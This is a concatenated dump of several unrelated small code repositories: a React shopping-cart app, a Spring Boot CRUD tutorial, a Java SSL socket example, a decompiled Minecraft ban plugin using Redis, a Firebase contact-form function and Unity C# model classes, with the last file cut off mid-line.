<OverLay />} <Route path="/" exact> {loading && <LoadingSpinner />} {error && <p>{error}</p>} <ProductList> {products?.map((product) => { return ( <Products product={product} key={product.id} addToCart={addToCart} /> ) })} </ProductList> </Route> <Route path="/product/:id"> <Product addToCart={addToCart} /> </Route> </Switch> </MainContainer> </Router> ) } export default App <file_sep>import styled from 'styled-components' import { AiFillHome } from 'react-icons/ai' export const NavBar = styled.div` padding: 20px 50px; background: #30475e; display: flex; justify-content: space-between; position: relative; ` export const HomeIcon = styled(AiFillHome)` padding: 5px; width: 30px; height: 30px; color: #ffffff; ` export const MainContainer = styled.div` position: relative; ` export const OverLay = styled.div` position: fixed; top: 0; height: 100%; width: 100%; background: rgba(0, 0, 0, 0.5); z-index: 500; ` export const ProductList = styled.div` max-width: 1200px; margin: 50px auto; height: 75px; line-height: 75px; display: grid; align-items: center; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); grid-gap: 20px; align-items: stretch; ` export const LoadingSpinner = styled.div` display: flex; justify-content: center; align-items: center; margin: 16px auto; border: 16px solid #f3f3f3; border-top: 16px solid #30475e; border-radius: 50%; width: 50px; height: 50px; animation: spin 1s linear infinite; @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } ` <file_sep>import React from 'react' import { useParams } from 'react-router' import { LoadingSpinner } from '../../App.styles' import useFetch from '../customHooks/useFetch' import { AddProductButton, ProductContainer, ProductDescription, ProductDetails, ProductImage, ProductTitle, Price, } from './Product.styles' const Product = ({ addToCart }) => { const { id } = useParams() const { products: item, loading, error, } = useFetch('https://fakestoreapi.com/products/' + id) return ( <ProductContainer> {loading && <LoadingSpinner />} {error && <p>{error}</p>} {!loading && item && ( <ProductDetails> <ProductImage src={item.image} alt={item.id}></ProductImage> <ProductTitle>{item.title}</ProductTitle> <ProductDescription>{item.description}</ProductDescription> <Price>Kr{item.price}</Price> <AddProductButton onClick={() => addToCart(item)}> Add To Cart </AddProductButton> </ProductDetails> )} </ProductContainer> ) } export default Product
ad458068f23f4263b4c46d8ff9ba6c28214b8406
[ "Markdown", "JavaScript" ]
7
Markdown
pdldipak/shopingCart-react-styledComp
d9df5f97c927a0d467b88907799a6e39c708168b
3410117e9059810f3d0e83cd5bb4ef51d1a98fd7
refs/heads/master
<repo_name>CoderDream/imooc-spring-boot-basic<file_sep>/src/main/java/com/imooc/controller/GirlController.java package com.imooc.controller; import java.util.List; import javax.validation.Valid; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.DeleteMapping; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import com.imooc.domain.Girl; import com.imooc.domain.Result; import com.imooc.repository.GirlRepository; import com.imooc.service.GirlService; @RestController public class GirlController { private final static Logger logger = LoggerFactory.getLogger(GirlController.class); @Autowired private GirlRepository girlRepository; @Autowired private GirlService girlService; /** * 所有女生列表 * @return */ @GetMapping(value = "/girls") public List<Girl> girlList() { return girlRepository.findAll(); } /** * 添加一个女生 * * @param cupSize * @param age * @return */ @PostMapping(value = "/girls") public Result<Girl> girlAdd(@Valid Girl girl, BindingResult bindingResult) { if(bindingResult.hasErrors()) { Result<Girl> result = new Result<Girl>(); result.setCode(1); result.setMsg(bindingResult.getFieldError().getDefaultMessage()); return result; } girl.setAge(girl.getAge()); girl.setCupSize(girl.getCupSize()); Result<Girl> result = new Result<Girl>(); result.setCode(0); result.setMsg("成功"); result.setData(girlRepository.save(girl)); return result; } /** * * @param id * @return */ @GetMapping(value = "/girls/{id}") public Girl girlFindOne(@PathVariable("id") Integer id) { //System.out.println("girlFindOne"); logger.info("girlFindOne"); return girlRepository.findOne(id); } /** * * @param id * @return */ @PutMapping(value = "/girls/{id}") public Girl girlUpdate(@PathVariable("id") Integer id, @RequestParam("cupSize") String cupSize, @RequestParam("age") Integer age) { Girl girl = new Girl(); girl.setId(id); girl.setAge(age); girl.setCupSize(cupSize); return girlRepository.save(girl); } @DeleteMapping(value = "/girls/{id}") public void girlDelete(@PathVariable("id") Integer id) { girlRepository.delete(id); } /** * 所有女生列表 * @return */ @GetMapping(value = "/girls/age/{age}") public List<Girl> girlListByAge(@PathVariable("age") Integer age) { return girlRepository.findByAge(age); } /** * 添加两个女生 * * @param cupSize * @param age * @return */ @PostMapping(value = "/girls/two") public void girlTwo() { girlService.insertTwo(); } } <file_sep>/readme (2).md java -jar xx.jar --spring.profiles.active=prod<file_sep>/README.md # imooc-spring-boot-basic 简介:SpringBoot是用来简化Spring应用初始搭建以及开发过程的全新框架,被认为是SpringMVC的“接班人”,和微服务紧密联系在一起。通过本门课程的学习,你将学会如何使用SpringBoot快速构建应用程序,初步领略SpringBoot的魅力! 其后续课程《SpringBoot进阶之Web进阶》,http://www.imooc.com/learn/810 # 章节 # ## 第1章 SpringBoot介绍 ## 1-1 SpringBoot介绍 (05:50) 第2章 第一个SpringBoot应用 2-1 第一个SpringBoot应用 (13:52) 第3章 项目属性配置 3-1 项目属性配置 (20:09) 第4章 Controller的使用 4-1 Controller的使用 (18:29) 第5章 数据库操作 5-1 数据库操作(上) (12:33) 5-2 数据库操作(下) (21:16) 第6章 事务管理 6-1 事务管理 (08:19) 第7章 课程回顾 7-1 课程回顾 (03:39) ---------- 简介:《2小时学习SpringBoot》后续进阶课程,主要讲述了SpringBoot针对Web方面的相关技巧 第1章 课程介绍 1-1 课程介绍 (02:52) 第2章 Web进阶 2-0 表单验证 (10:19) 2-1 使用AOP处理请求(上) (11:31) 2-2 使用AOP处理请求(中) (07:06) 2-3 使用AOP处理请求(下) (08:10) 2-4 统一异常处理(上) (21:24) 2-5 统一异常处理(中) (09:48) 2-6 统一异常处理(下) (11:44) 2-7 单元测试 (15:33) 第3章 课程总结 3-1 课程总结 (03:58) 讲师提示 廖师兄 JAVA开发工程师 课程须知 没有基础的同学建议先学习前置课程 《2小时学习SpringBoot》 http://www.imooc.com/learn/767, 代码示例请参考 https://git.oschina.net/liaoshixiong/girl 老师告诉你能学到什么? SpringBoot针对Web方面的相关技巧 大家都关注 由浅入深实现Android自动化测试大公司算法面试真题JAVA电商项目Android工程师必备实战技巧全栈工程师如何开发电商网站Java Spring进阶最全Android面试技巧 2017 推荐课程 Kotlin系统入门与进阶 初级·297人在学 Java实现SSO单点登录 本课程首先以新浪为例介绍了单点登录SSO的实现场景,然后对实现SSO所用的核心技术和原理进行分析,最后通过案例演示了同域SSO和跨域SSO的实现。 中级·5972人在学 使用Struts2+Hibernate开发学生信息管理功能 本课程通过学生信息管理功能的开发,来介绍Struts2和Hibernate的整合。主要内容包括:Struts2和Hibernate整合,用户登录模块和学生信息管理模块的设计和实现。通过本课程的学习,一定会使小伙伴们的Java Web开发技能更上一层楼。 高级·58487人在学
a594c20986395db7f438bab5e2b89427f1d129ad
[ "Markdown", "Java" ]
3
Java
CoderDream/imooc-spring-boot-basic
a68e867dc01e6f8fcc8851d8b43c4e1625481825
3667766afddd3605a28267c7ab590e8bebdda663
refs/heads/master
<file_sep>package org.anenerbe.solr; import org.apache.lucene.analysis.TokenStream; import org.apache.lucene.analysis.tokenattributes.CharTermAttribute; import org.apache.lucene.document.SortedDocValuesField; import org.apache.lucene.document.SortedSetDocValuesField; import org.apache.lucene.index.IndexableField; import org.apache.lucene.util.BytesRef; import org.apache.solr.common.SolrException; import org.apache.solr.schema.IndexSchema; import org.apache.solr.schema.SchemaField; import org.apache.solr.schema.TextField; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Map; /** * solr.TextField with enabled docValues * <p> * This implementation ensures that tokenizer and token filter chain produces * only one token if field is single-valued, so its result can be stored * in {@link SortedDocValuesField}. * <p> * If field is multi-valued, it's stored in {@link SortedSetDocValuesField}. */ public class DocValuesTextField extends TextField { @Override protected void init(IndexSchema schema, Map<String, String> args) { super.init(schema, args); } @Override public List<IndexableField> createFields(SchemaField field, Object value, float boost) { if (field.hasDocValues()) { List<IndexableField> fields = new ArrayList<>(); fields.add(createField(field, value, boost)); List<String> data = analyzedField(field, value); if (field.multiValued()) { for (String datum : data) { final BytesRef bytes = new BytesRef(datum); fields.add(new SortedSetDocValuesField(field.getName(), bytes)); } } else { if (data.size() > 1) { throw new SolrException(SolrException.ErrorCode.SERVER_ERROR, "Field analysis for " + field + " returned multiple analyzed values"); } final BytesRef bytes = new BytesRef(data.get(0)); fields.add(new SortedDocValuesField(field.getName(), bytes)); } return fields; } else { return Collections.singletonList(createField(field, value, boost)); } } @Override public void checkSchemaField(SchemaField field) { } /** * For correct {@link org.apache.solr.request.DocValuesFacets} work. * <p> * {@inheritDoc} * * @return {@code true} if field has effectively more than one value */ @Override public boolean multiValuedFieldCache() { return isMultiValued(); } private List<String> analyzedField(SchemaField field, Object value) { try { List<String> result = new ArrayList<>(); TokenStream ts = field.getType().getIndexAnalyzer().tokenStream(field.getName(), value.toString()); CharTermAttribute term = ts.addAttribute(CharTermAttribute.class); try { ts.reset(); while (ts.incrementToken()) { result.add(term.toString()); } ts.end(); } finally { ts.close(); } return result; } catch (IOException e) { throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, "Can't analyze " + value.toString() + " in " + field); } } }
8b66fb4484bbcf467f82f1557e74a4d52a48b1eb
[ "Java" ]
1
Java
qiao04551/solr-dvtf
0b049e16822c4272bb877c8153632175c5e113c7
dfa91eb1a3a15c360437375ee62cce6e3f03ce16
refs/heads/master
<repo_name>yabasi/n11-php-api<file_sep>/IS/PazarYeri/N11/Services/OrderService.php <?php namespace IS\PazarYeri\N11\Services; Class OrderService { /** * * @description N11 SOAP Ürün Url * */ public $url = 'https://api.n11.com/ws/OrderService.wsdl'; /** * * @description Bu metot sipariş ile ilgili özet bilgileri listelemek için kullanılır. * */ public function orderList($client, $data = array()) { $query = array( 'searchData' => array( 'productId' => '', 'status' => '', 'buyerName' => '', 'orderNumber' => '', 'productSellerCode' => '', 'recipient' => '', 'period' => '', 'sortForUpdateDate' => '', ) ); if (isset($data['productId'])) { $query['searchData']['productId'] = $data['productId']; } if (isset($data['status']) && in_array($data['status'], array('New', 'Approved', 'Rejected', 'Shipped', 'Delivered', 'Completed', 'Claimed', 'LATE_SHIPMENT'))) { $query['searchData']['status'] = $data['status']; } if (isset($data['buyerName'])) { $query['searchData']['buyerName'] = $data['buyerName']; } if (isset($data['orderNumber'])) { $query['searchData']['orderNumber'] = $data['orderNumber']; } if (isset($data['productSellerCode'])) { $query['searchData']['productSellerCode'] = $data['productSellerCode']; } if (isset($data['recipient'])) { $query['searchData']['recipient'] = $data['recipient']; } if (isset($data['period'])) { $query['searchData']['period'] = $data['period']; } if (isset($data['sortForUpdateDate'])) { $query['searchData']['sortForUpdateDate'] = $data['sortForUpdateDate']; } if (isset($data['pagingData'])) { $query['pagingData'] = $data['pagingData']; } return $client->sendRequest('orderList', $query); } /** * * @description Sipariş N11 ID bilgisi kullanarak sipariş detaylarını almak için kullanılır, * sipariş N11 ID bilgisine orderList metotlarıyla ulaşılabilir. * */ public function orderDetail($client, $Id) { return $client->sendRequest('orderDetail', array('orderRequest' => array('id' => $Id))); } /** * * @description Bu metot siparişi onaylamak için kullanılır. * */ public function orderAccept($client, $n11Id) { $query = array( 'orderItem' => array( 'id' => $n11Id ) ); return $client->sendRequest('OrderItemAccept', $query); } /** * * @description Bu metot siparişi onaylamak için kullanılır. * */ public function orderReject($client, $data = array()) { $query = array( 'orderItemList' => array( 'orderItem' => array( 'id' => $data['orderItemId'] ) ), 'rejectReason' => $data['rejectReason'], 'rejectReasonType' => "" ); if (isset($data['rejectReasonType'])) { $query['rejectReasonType'] = $data['rejectReasonType']; }else { $query['rejectReasonType'] = "OTHER"; } return $client->sendRequest('OrderItemReject', $query); } /** * * @description Bu metot siparişin kargo bilgilerini göndermek için kullanılır. * */ public function orderShipment($client, $data = array()) { $query = array( 'orderItemList' => array( 'orderItem' => array( 'id' => $data['orderId'], 'shipmentInfo' => array( 'shipmentCompany' => array( 'id' => $data['shipmentCompanyId'] ), 'campaignNumber' => "" 'trackingNumber' => $data['trackingNumber'], 'shipmentMethod' => "", ) ) ) if (isset($data['campaignNumber'])) { ["orderItemList"]["orderItem"]["shipmentInfo"]["campaignNumber"] = $data['campaignNumber']; } if (isset($data['shipmentMethod'])) { ["orderItemList"]["orderItem"]["shipmentInfo"]["campaignNumber"] = $data['shipmentMethod']; }else { ["orderItemList"]["orderItem"]["shipmentInfo"]["campaignNumber"] = 1; } return $client->sendRequest('OrderItemReject', $query); } }
8ea639382d25c358191aa86723b33c14b9a57e76
[ "PHP" ]
1
PHP
yabasi/n11-php-api
23da1e3745a9287a15a7ce6fb1341f33c58e560b
907c2a0d0dca13abf381af8b8bb09b8d4e101f61
refs/heads/master
<file_sep># SSL-Socket-Example ## 生成证书 #### 创建服务端keystore ``` keytool -genkey -keystore server.jks -storepass <PASSWORD> -keyalg RSA -keypass <PASSWORD> ``` #### 导出服务端证书 ``` keytool -export -keystore server.jks -storepass <PASSWORD> -file server.cer ``` #### 将服务端证书导入到客户端trustkeystroe ``` keytool -import -keystore clientTrust.jks -storepass <PASSWORD> -file server.cer ``` <file_sep>package org.wzj.test; import javax.net.ssl.*; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStreamReader; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.security.KeyStore; /** * Created by wens on 16-6-29. */ public class Server { public static void main(String[] args) throws Exception { int port = 8080 ; ServerSocket serverSocket = getSSLServerSocket(port); while (true){ final Socket socket = serverSocket.accept(); //socket.setSoTimeout(2000); System.out.println("accept : " + socket.getRemoteSocketAddress() ); new Thread(){ @Override public void run() { try { BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(socket.getInputStream())); String line = null ; while ((line = bufferedReader.readLine()) != null ){ if(line.equals("quit")){ System.out.println("close : " + socket.getRemoteSocketAddress()); socket.close(); break ; } System.out.println("Receive data from " + socket.getRemoteSocketAddress() + " : " + line ); socket.getOutputStream().write(("pong:" + line +"\n" ).getBytes()); socket.getOutputStream().flush(); } } catch (IOException e) { e.printStackTrace(); } } } .start(); } } private static ServerSocket getServerSocket(int port) throws IOException { return new ServerSocket(port); } private static ServerSocket getSSLServerSocket(int port) throws Exception { SSLContext sslContext = getSSLContext(); SSLServerSocketFactory sslServerSocketFactory = sslContext.getServerSocketFactory(); //只是创建一个TCP连接,SSL handshake还没开始 //客户端或服务端第一次试图获取socket输入流或输出流时, //SSL handshake才会开始 SSLServerSocket sslServerSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket(); String[] pwdsuits = sslServerSocket.getSupportedCipherSuites(); sslServerSocket.setEnabledCipherSuites(pwdsuits); //默认是client mode,必须在握手开始之前调用 sslServerSocket.setUseClientMode(false); //即使客户端不提供其证书,通信也将继续 sslServerSocket.setWantClientAuth(true); sslServerSocket.bind(new InetSocketAddress(port)); return sslServerSocket ; } public static SSLContext getSSLContext() throws Exception{ //Trust Key Store KeyStore keyStore = KeyStore.getInstance("JKS"); keyStore.load(new FileInputStream("/home/wens/zy/test-main/server.jks"), "123456".toCharArray()); TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance("SunX509"); trustManagerFactory.init(keyStore); TrustManager[] tms = trustManagerFactory.getTrustManagers(); SSLContext sslContext = SSLContext.getInstance("TLSV1"); sslContext.init(null, tms, null); return sslContext; } }
930e4fe7c9300ccd2fad7f815f048ae7a705995b
[ "Markdown", "Java" ]
2
Markdown
wenzuojing/SSL-Socket-Example
b439ac4e9c6c083d3e0070f6ddd6c03451168d06
a78fdf912645650c80f7d2aff787bd54f9f12ea5
refs/heads/master
<repo_name>E-Kaese/Portfolio<file_sep>/src/app/contact/contact.component.ts import { DatabaseService } from './../services/database.service'; import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-contact', templateUrl: './contact.component.html', styleUrls: ['./contact.component.css'] }) export class ContactComponent implements OnInit { name: string; email: string; message: string; submitted = false; captcha; resolved = false; constructor(public readonly ds: DatabaseService) { } ngOnInit() { } onSubmit() { this.submitted = true; this.ds.sendMailMessage(this.name, this.email, this.message); } resolve(captchaResponse: string) { if (captchaResponse !== null) { this.resolved = true; } } } <file_sep>/src/app/app.module.ts import { NgModule } from '@angular/core'; import { BrowserModule } from '@angular/platform-browser'; import { AppRoutingModule } from './app-routing.module'; import { FontAwesomeModule } from '@fortawesome/angular-fontawesome'; import { AngularFireModule } from '@angular/fire'; import { AngularFireDatabaseModule } from '@angular/fire/database'; import { HttpModule } from '@angular/http'; import { FormsModule } from '@angular/forms'; import { RecaptchaModule } from 'ng-recaptcha'; import { ScrollToModule } from '@nicky-lenaers/ngx-scroll-to'; import { AppComponent } from './app.component'; import { StartPageComponent } from './start-page/start-page.component'; import { SkillsComponent } from './skills/skills.component'; import { ProjectsComponent } from './projects/projects.component'; import { NavbarComponent } from './navbar/navbar.component'; import { FooterComponent } from './footer/footer.component'; import { ContactComponent } from './contact/contact.component'; import { DatabaseService } from './services/database.service'; import { AngularFireFunctionsModule } from '@angular/fire/functions'; export const firebaseConfig = { apiKey: '<KEY>', authDomain: 'ernst-kaese.firebaseapp.com', databaseURL: 'https://ernst-kaese.firebaseio.com', projectId: 'ernst-kaese', storageBucket: 'ernst-kaese.appspot.com', messagingSenderId: '395267337356' }; @NgModule({ declarations: [ AppComponent, StartPageComponent, SkillsComponent, ProjectsComponent, NavbarComponent, FooterComponent, ContactComponent ], imports: [ BrowserModule, AppRoutingModule, ScrollToModule.forRoot(), FontAwesomeModule, AngularFireModule.initializeApp(firebaseConfig), AngularFireDatabaseModule, AngularFireFunctionsModule, HttpModule, FormsModule, RecaptchaModule.forRoot() ], providers: [AngularFireDatabaseModule, DatabaseService], bootstrap: [AppComponent] }) export class AppModule { } <file_sep>/src/app/project.ts export class Project { date: number; image: string; name: string; state: string; url: string; } <file_sep>/src/app/projects/projects.component.ts import { Component, OnInit, SystemJsNgModuleLoader } from '@angular/core'; import { DatabaseService } from '../services/database.service'; import { Project } from '../project'; @Component({ selector: 'app-projects', templateUrl: './projects.component.html', styleUrls: ['./projects.component.css'] }) export class ProjectsComponent implements OnInit { list: Project[] = []; constructor(ds: DatabaseService) { ds.projectsDB.valueChanges().subscribe(response => { this.list = response; this.list.sort(function(a, b) { return b.date - a.date; }); }); } ngOnInit() { } } <file_sep>/functions/index.js const functions = require('firebase-functions'); const express = require('express'); const cors = require('cors'); const app = express(); const nodemailer = require('nodemailer'); const config = require('./config'); app.use(cors({origin: true})); app.post('/', (req, res) => { var transporter = nodemailer.createTransport({ host: 'smtp.gmail.com', port: 465, secure: true, auth: { user: config.email, pass: <PASSWORD> } }); var body = req.body; var params = { from: body.email, to: config.email, subject: 'New submission from ' + body.name, text: 'Sent from: ' + body.email + '\n\nMessage:\n' + body.message }; transporter.sendMail(params, (mailError, mailReponse) => { var arrResponse = ''; if (mailError) { arrResponse = { 'status': 'Master, I have failed you...', 'error': mailError }; } else { arrResponse = { 'status': 'Check your mailbox', 'data': mailReponse.accepted }; } res.status(200).send(arrResponse.status); }); }); exports.email = functions.https.onRequest(app);<file_sep>/src/functions/index.js const functions = require('firebase-functions'); const express = require('express'); const bodyParser = require('body-parser'); const path = require('path'); const http = require('http'); const app = express(); const nodemailer = require('nodemailer'); const config = require('./config'); // Parsers app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: true })); // Angular DIST output folder app.use(express.static(path.join(__dirname, 'dist/Portfolio-Rebuild'))); // Send all other requests to the Angular app app.get('/*', (req, res) => { res.sendFile(path.join(__dirname, 'dist/Portfolio-Rebuild/index.html')); }); //Set Port const port = process.env.PORT || '8080'; app.set('port', port); app.post('/email', function(req, res) { var transporter = nodemailer.createTransport({ host: 'smtp.gmail.com', port: 465, secure: true, auth: { user: config.email, pass: <PASSWORD> } }); var body = req.body; var params = { from: body.email, to: config.email, subject: 'New submission from ' + body.name, text: "Sent from: " + body.email + "\n\nMessage:\n" + body.message }; transporter.sendMail(params, (mailError, mailReponse) => { var arrResponse = ''; if (mailError) { arrResponse = { 'status': 'Master, I have failed you...', 'error': mailError }; } else { arrResponse = { 'status': 'Check your mailbox', 'data': mailReponse.accepted }; } res.status(200).send(arrResponse.status); }); }); const server = http.createServer(app); server.listen(port, () => console.log(`Running on localhost:${port}`)); const api = functions.https.onRequest((request, response) => { if (!request.path) { request.url = `/${request.url}` // prepend '/' to keep query params if any } return app(request, response) }) module.exports = { api }<file_sep>/src/app/services/database.service.ts import { Injectable } from '@angular/core'; import { AngularFireDatabase, AngularFireList } from '@angular/fire/database'; import { AngularFireFunctions } from '@angular/fire/functions'; import { Http, RequestOptions, Headers } from '@angular/http'; import { Project } from '../project'; import { Skill } from '../skill'; @Injectable({ providedIn: 'root' }) export class DatabaseService { skillsDB: AngularFireList<Skill>; projectsDB: AngularFireList<Project>; constructor(private af: AngularFireDatabase, private _http: Http, private functions: AngularFireFunctions) { this.projectsDB = af.list('/Projects'); this.skillsDB = af.list('/Skills'); } sendMailMessage(name: string, email: string, message: string) { const messageObj = `{"name": "${name}", "email": "${email}", "message": "${message}"}`; const headers = new Headers(); headers.append('Content-Type', 'application/json'); this._http.post('https://us-central1-ernst-kaese.cloudfunctions.net/email/', messageObj, { headers: headers }).subscribe(); } }
57a969a8c51f40224f9886f97921a3f7b6373389
[ "JavaScript", "TypeScript" ]
7
TypeScript
E-Kaese/Portfolio
1f45e11e0dca8aea602815a80941b14693769468
e1c6aa351a4fabc0543c342529ae40fb39223208
refs/heads/master
<repo_name>rachciachose/ccBans<file_sep>/pl/best241/ccbans/parser/GsonParser.java // // Decompiled by Procyon v0.5.30 // package pl.best241.ccbans.parser; import org.bukkit.craftbukkit.libs.com.google.gson.GsonBuilder; import org.bukkit.craftbukkit.libs.com.google.gson.Gson; public class GsonParser { private static final Gson gson; public static String parseToJson(final Object object) { return GsonParser.gson.toJson(object); } public static Object parseToObject(final String json) { return GsonParser.gson.fromJson(json, (Class)Object.class); } static { gson = new GsonBuilder().create(); } } <file_sep>/pl/best241/ccbans/api/BanAPI.java // // Decompiled by Procyon v0.5.30 // package pl.best241.ccbans.api; import pl.best241.ccchat.CcChat; import pl.best241.ccbans.messages.MessagesData; import pl.best241.ccbans.CcBans; import pl.best241.ccbans.data.DataStore; import pl.best241.ccbans.data.BanPlayerData; import pl.best241.ccbans.data.BanType; import org.bukkit.entity.Player; public class BanAPI { public static int banPlayer(final Player banPlayer, final Player adminPlayer, final String reason) { final String nick = banPlayer.getName(); final BanPlayerData data = new BanPlayerData(banPlayer.getUniqueId(), adminPlayer.getName(), BanType.PERM, -1L, reason); DataStore.setBanPlayerData(data); CcBans.getBackend().addBan(banPlayer.getUniqueId(), data); CcBans.publishBanPlayer(data); adminPlayer.sendMessage(MessagesData.youBannedPlayerPerm.replace("%nick", nick).replace("%reason", data.getReason())); CcChat.broadcastChat(MessagesData.playerWasPermBannedByBroadcast.replace("%player", nick).replace("%admin", data.getBanAdminNick()).replace("%reason", data.getReason())); return 0; } } <file_sep>/pl/best241/ccbans/data/BanType.java // // Decompiled by Procyon v0.5.30 // package pl.best241.ccbans.data; public enum BanType { PERM, TEMP; } <file_sep>/pl/best241/ccbans/data/DataStore.java // // Decompiled by Procyon v0.5.30 // package pl.best241.ccbans.data; import java.util.Collection; import java.util.Map; import pl.best241.ccbans.CcBans; import java.util.ArrayList; import java.util.UUID; import java.util.concurrent.ConcurrentHashMap; public class DataStore { private static final ConcurrentHashMap<UUID, BanPlayerData> players; private static final ArrayList<String> ipBans; public static boolean containsBanPlayerData(final UUID uuid) { return DataStore.players.containsKey(uuid); } public static BanPlayerData getBanPlayerData(final UUID uuid) { return DataStore.players.get(uuid); } public static void setBanPlayerData(final BanPlayerData data) { DataStore.players.put(data.getBannedUUID(), data); } public static void removeBanPlayerData(final UUID uuid) { DataStore.players.remove(uuid); } public static void addIpBan(final String address) { DataStore.ipBans.add(address); } public static void removeIpBan(final String address) { DataStore.ipBans.remove(address); } public static boolean isIpBanned(final String address) { return DataStore.ipBans.contains(address); } public static void loadAll() { DataStore.players.putAll(CcBans.getBackend().getAllBans()); DataStore.ipBans.addAll(CcBans.getBackend().getIpBans()); } static { players = new ConcurrentHashMap<UUID, BanPlayerData>(); ipBans = new ArrayList<String>(); } } <file_sep>/pl/best241/ccbans/backend/RedisBackend.java // // Decompiled by Procyon v0.5.30 // package pl.best241.ccbans.backend; import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.Set; import java.util.Iterator; import java.util.Map; import pl.best241.ccbans.data.BanType; import java.util.LinkedHashMap; import java.util.HashMap; import redis.clients.jedis.Jedis; import pl.best241.ccbans.parser.GsonParser; import pl.best241.rdbplugin.JedisFactory; import pl.best241.ccbans.data.BanPlayerData; import java.util.UUID; public class RedisBackend implements Backend { @Override public void addBan(final UUID uuid, final BanPlayerData banData) { final Jedis jedis = JedisFactory.getInstance().getJedis(); jedis.hset("ccBans.bannedListData", uuid.toString(), GsonParser.parseToJson(banData)); JedisFactory.getInstance().returnJedis(jedis); } @Override public void removeBan(final UUID uuid) { final Jedis jedis = JedisFactory.getInstance().getJedis(); jedis.hdel("ccBans.bannedListData", new String[] { uuid.toString() }); JedisFactory.getInstance().returnJedis(jedis); } @Override public BanPlayerData getPlayerBan(final UUID uuid) { final Jedis jedis = JedisFactory.getInstance().getJedis(); final String rawData = jedis.hget("ccBans.bannedListData", uuid.toString()); JedisFactory.getInstance().returnJedis(jedis); return (BanPlayerData)GsonParser.parseToObject(rawData); } @Override public HashMap<UUID, BanPlayerData> getAllBans() { final Jedis jedis = JedisFactory.getInstance().getJedis(); final Map<String, String> rawData = (Map<String, String>)jedis.hgetAll("ccBans.bannedListData"); JedisFactory.getInstance().returnJedis(jedis); final HashMap<UUID, BanPlayerData> data = new HashMap<UUID, BanPlayerData>(); for (final String rawUUID : rawData.keySet()) { final LinkedHashMap<String, Object> rawBanData = (LinkedHashMap<String, Object>)GsonParser.parseToObject(rawData.get(rawUUID)); final UUID uuid = UUID.fromString(rawBanData.get("uuid")); final String banAdmin = rawBanData.get("banAdmin"); final BanType banType = BanType.valueOf(rawBanData.get("banType")); final Long time = (long)(Object)rawBanData.get("time"); final String reason = rawBanData.get("reason"); final BanPlayerData banData = new BanPlayerData(uuid, banAdmin, banType, time, reason); data.put(uuid, banData); } return data; } @Override public void addIpBan(final String ipAddress) { final Jedis jedis = JedisFactory.getInstance().getJedis(); jedis.sadd("ccBans.ipBans", new String[] { ipAddress.toLowerCase() }); JedisFactory.getInstance().returnJedis(jedis); } @Override public Set<String> getIpBans() { final Jedis jedis = JedisFactory.getInstance().getJedis(); final Set<String> smembers = (Set<String>)jedis.smembers("ccBans.ipBans"); JedisFactory.getInstance().returnJedis(jedis); return smembers; } @Override public boolean isIpBanned(final String ban) { final Set<String> ipBans = this.getIpBans(); for (final String ipBan : ipBans) { final Pattern pattern = Pattern.compile(ipBan); final Matcher matcher = pattern.matcher(ban); if (matcher.matches()) { return true; } } return false; } @Override public void removeIpBan(final String ban) { final Jedis jedis = JedisFactory.getInstance().getJedis(); jedis.srem("ccBans.ipBans", new String[] { ban }); JedisFactory.getInstance().returnJedis(jedis); } } <file_sep>/pl/best241/ccbans/backend/Backend.java // // Decompiled by Procyon v0.5.30 // package pl.best241.ccbans.backend; import java.util.Set; import java.util.HashMap; import pl.best241.ccbans.data.BanPlayerData; import java.util.UUID; public interface Backend { void addBan(final UUID p0, final BanPlayerData p1); void removeBan(final UUID p0); BanPlayerData getPlayerBan(final UUID p0); HashMap<UUID, BanPlayerData> getAllBans(); void addIpBan(final String p0); Set<String> getIpBans(); boolean isIpBanned(final String p0); void removeIpBan(final String p0); }
05a9ae9f2335d4f7382f2c04ba04440d665f5a26
[ "Java" ]
6
Java
rachciachose/ccBans
71a0ad8405f758090fc6ef60ac66088fb302b9e3
c4b533d682373eff1f6a90fd778c80571cbb18e7
refs/heads/master
<repo_name>kress89/STM<file_sep>/bin/start.sh java -jar ./LegendaryAttempt-0.0.1.jar
121f14455b77715f88fb6659a2dce25b5fc6a642
[ "Shell" ]
1
Shell
kress89/STM
3260746aa3b60c6c2e4edd1ab4ff880aa9efabc2
30e3eda63863acf4e909988ce6030c2a94b0177d
refs/heads/master
<repo_name>CodyEthanJordan/Shrinelands<file_sep>/Assets/Model/Tile.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Assets.Model { public abstract class Tile { public bool Passable { get; protected set; } public int MovementCost { get; protected set; } } public class Grass : Tile { public Grass() { Passable = true; MovementCost = 1; } } public class Wall : Tile { public Wall() { Passable = false; MovementCost = 1; } } } <file_sep>/Assets/Model/Stat.cs using System; namespace Assets.Model { public class Stat { public string Name { get; set; } private int _value; public int Value { get { return _value; } set { _value = Math.Max(value, Max); } //TODO: make function, may be times we allow over max } public int Max { get; set; } public Stat(string name, int value) { Name = name; Max = value; Value = value; } } } <file_sep>/Assets/Model/Unit.cs using System; using UnityEngine; namespace Assets.Model { public class Unit { public string Name { get; set; } public Stat HP; public Stat Stamina; public Stat Move; public Stat Expertise; public Stat ArmorCoverage; public Stat ArmorProtection; public Vector3 Position; public string Controller { get; private set; } public string Type { get; private set; } public Guid Id { get; private set; } public Unit(string controller, string type, Vector3 position) { Id = new Guid(); Name = "Rando"; HP = new Stat("HP", 12); Stamina = new Stat("Stamina", 5); Move = new Stat("Move", 5); Expertise = new Stat("Expertise", 4); ArmorCoverage = new Stat("ArmorCoverage", 2); ArmorProtection = new Stat("ArmorProtection", 1); Controller = controller; Type = type; Position 